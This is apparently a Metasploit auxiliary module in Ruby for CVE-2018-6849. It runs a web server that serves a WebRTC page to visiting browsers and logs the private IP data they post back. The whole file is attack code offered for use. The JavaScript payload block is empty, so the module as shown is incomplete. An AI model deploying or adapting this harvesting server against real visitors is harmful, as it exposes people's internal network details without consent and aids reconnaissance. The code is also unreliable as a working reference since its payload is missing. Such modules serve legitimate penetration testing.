## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => "Private IP Leakage to WebPage using WebRTC Function.", 'Description' => %q( This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary. ), 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles', #MSF Module 'Dhiraj Mishra' #MSF Module ], 'References' => [ [ 'CVE', '2018-6849' ], ['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html'] ], 'DisclosureDate' => 'Jan 26 2018', 'Actions' => [[ 'WebServer' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer' ) ) end def run exploit # start http server end def setup # code from: https://github.com/diafygi/webrtc-ips @html = <<-JS JS end def on_request_uri(cli, request) case request.method.downcase when 'get' print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)") send_response(cli, @html) when 'post' print_status("#{cli.peerhost}: Received reply:") puts request.to_s else print_error("#{cli.peerhost}: Unhandled method: #{request.method}") end end end